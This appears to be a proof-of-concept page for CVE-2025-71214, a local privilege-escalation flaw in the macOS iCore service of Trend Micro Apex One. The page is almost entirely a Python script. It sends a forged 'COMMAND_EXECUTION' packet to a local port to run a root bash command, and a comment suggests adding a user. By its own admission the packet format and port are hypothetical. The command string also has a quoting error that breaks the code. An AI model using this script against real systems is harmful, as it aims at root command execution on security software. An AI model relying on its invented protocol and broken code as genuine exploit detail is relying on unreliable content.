CVE-2025-71214

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-71214 Trend Micro Apex One (mac) iCore Service Origin Validation Error Note: This is a generic demonstration of the concept based on the vulnerability description. """ import socket import json import struct # Configuration for the target service (Hypothetical) TARGET_HOST = '127.0.0.1' TARGET_PORT = 49152 # Common port for agent services, actual port may vary def create_malicious_packet(command): """ Constructs a packet that mimics a legitimate internal request but lacks proper origin validation checks. """ # In a real scenario, this would involve reverse engineering the IPC protocol. payload = { "header": { "version": "1.0", "type": "COMMAND_EXECUTION", "flags": 0x0 }, "body": { "cmd": command, "args": [], "origin": "untrusted" # This field should be validated but isn't } } return json.dumps(payload).encode('utf-8') def send_exploit(): print(f"[*] Attempting to connect to {TARGET_HOST}:{TARGET_PORT}...") try: # Establish TCP connection to the local iCore service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connected to iCore service.") # The exploit attempts to execute a command with root privileges # e.g., creating a file in /root or adding a user malicious_cmd = "/bin/bash -c 'echo "CVE-2025-71214 POC" > /tmp/pwned_root.txt'" payload = create_malicious_packet(malicious_cmd) # Send payload length followed by the payload (common IPC pattern) sock.sendall(struct.pack('!I', len(payload))) sock.sendall(payload) print("[*] Payload sent. Waiting for response...") response = sock.recv(4096) print(f"[+] Received response: {response.decode('utf-8', errors='ignore')}") sock.close() print("[*] Exploit completed. Check if privilege escalation occurred.") except ConnectionRefusedError: print("[-] Connection refused. The service might not be running or the port is incorrect.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_exploit()

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